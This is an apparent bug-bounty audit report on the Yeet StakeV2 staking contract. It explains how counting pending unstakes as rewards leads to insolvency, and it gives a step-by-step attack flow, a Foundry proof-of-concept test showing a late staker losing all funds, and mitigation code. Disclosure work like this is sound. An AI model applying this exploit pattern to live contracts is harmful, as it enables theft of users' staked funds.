#42527 [SC-Critical] Critical Balance/Supply Desynchronization Leading to Protocol Insolvency and Loss of User Funds
Submitted on Mar 24th 2025 at 14:21:13 UTC by @Invcbull for Audit Comp | Yeet
- Report ID: #42527
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-yeet/blob/main/src/StakeV2.sol
- Impacts:
- Protocol insolvency
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Detail
A critical vulnerability in StakeV2's reward distribution mechanism allows manipulation of accumulatedDeptRewardsYeet() through stake/unstake patterns, leading to protocol insolvency and permanent loss of user funds. The issue creates a "bank run" scenario where early unstakers get paid using other users' funds, ultimately leaving late unstakers with total loss of principal.
Vulnerability Details
- Core Issue
function accumulatedDeptRewardsYeet() public view returns (uint256) {
return stakingToken.balanceOf(address(this)) - totalSupply;
}
The function fails to account for pending unstakes, creating a desynchronization between balanceOf and totalSupply
- Technical Flow
Note: I used eth but in this context eth means yeet.
- Initial State:
// Three users stake 100 ETH each
Alice stakes: 100 ETH
Bob stakes: 100 ETH
Victim stakes: 100 ETH
Contract balance: 300 ETH
totalSupply: 300 ETH
- Attack Pattern:
// Victim starts unstake
victim.startUnstake(100 ETH);
// since startUnstake reduces totalsupply by unstake amount(100) immediately
// State: balance = 300 ETH, totalSupply = 200 ETH
// Creates fake rewards: 100 ETH
// Protocol distributes "rewards"
executeRewardDistributionYeet(100 ETH)
// Transfers victim's pending unstake tokens
// Contract balance: 200 ETH
- Cascading Insolvency:
// Victim unstakes using Alice's tokens
victim.unstake(0) // Gets 100 ETH
// Balance: 100 ETH
// Alice unstakes using Bob's tokens
alice.unstake(0) // Gets 100 ETH
// Balance: 0 ETH
// Bob attempts unstake
bob.unstake(0) // FAILS - No funds left
In this case we have two victims
- Bob : late/last unstaker whose unstake failed due to insufficient contract balance.
- Victim : whose stake was incorrectly used as reward due to the contracts failure to account for pending unstakes during accumulatedDeptRewardsYeet()
Impact Details
- Protocol Insolvency:
- Contract becomes unable to meet staking obligations
- Each reward distribution reduces available funds
- Creates unsustainable "first to withdraw" scenario
- Direct Loss of User Funds:
- Late unstakers lose 100% of principal
- Not just yield or rewards at risk
- Permanent and unrecoverable loss
- Systemic Impact:
- Affects all stakers in the protocol
- Creates bank run incentive
- Undermines core protocol functionality
Proof of Concept
Proof of Concept
I included this test function in StakeV2.test.sol
function test_chainReactionFundLoss() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address victim = makeAddr("victim");
// Setup - 100 ETH stakes each
token.mint(alice, 100 ether);
token.mint(bob, 100 ether);
token.mint(victim, 100 ether);
// Initial stakes
vm.startPrank(alice);
token.approve(address(stakeV2), 100 ether);
stakeV2.stake(100 ether);
vm.stopPrank();
vm.startPrank(bob);
token.approve(address(stakeV2), 100 ether);
stakeV2.stake(100 ether);
vm.stopPrank();
vm.startPrank(victim);
token.approve(address(stakeV2), 100 ether);
stakeV2.stake(100 ether);
// Create fake rewards
stakeV2.startUnstake(100 ether);
vm.stopPrank();
// Distribute fake rewards
mockZapper.setReturnValues(0, 100 ether);
vm.prank(address(this));
stakeV2.executeRewardDistributionYeet(...);
// Victim unstakes (uses Alice's tokens)
vm.warp(block.timestamp + 10 days);
vm.prank(victim);
stakeV2.unstake(0);
// Alice unstakes (uses Bob's tokens)
vm.startPrank(alice);
stakeV2.startUnstake(100 ether);
vm.warp(block.timestamp + 10 days);
stakeV2.unstake(0);
vm.stopPrank();
// Bob loses everything
vm.startPrank(bob);
stakeV2.startUnstake(100 ether);
vm.warp(block.timestamp + 10 days);
vm.expectRevert();
stakeV2.unstake(0);
// Verify loss
assertEq(token.balanceOf(bob), 0, "Bob lost all funds");
assertEq(token.balanceOf(address(stakeV2)), 0, "Contract insolvent");
}
Recommended Mitigation
To fix this issue kindly consider :
- Track Pending Unstakes:
mapping(address => uint256) public pendingUnstakes;
function accumulatedDeptRewardsYeet() public view returns (uint256) {
uint256 actualBalance = stakingToken.balanceOf(address(this)) - totalPendingUnstakes;
require(actualBalance >= totalSupply, "Balance/Supply mismatch");
return actualBalance - totalSupply;
}
Or
- Safe Reward Distribution:
function executeRewardDistributionYeet(...) external {
uint256 rewards = accumulatedDeptRewardsYeet();
require(rewards > 0 && rewards <= availableForDistribution(), "Invalid rewards");
// ... distribution logic
}
function availableForDistribution() internal view returns (uint256) {
return stakingToken.balanceOf(address(this))
- totalSupply
- totalPendingUnstakes;
}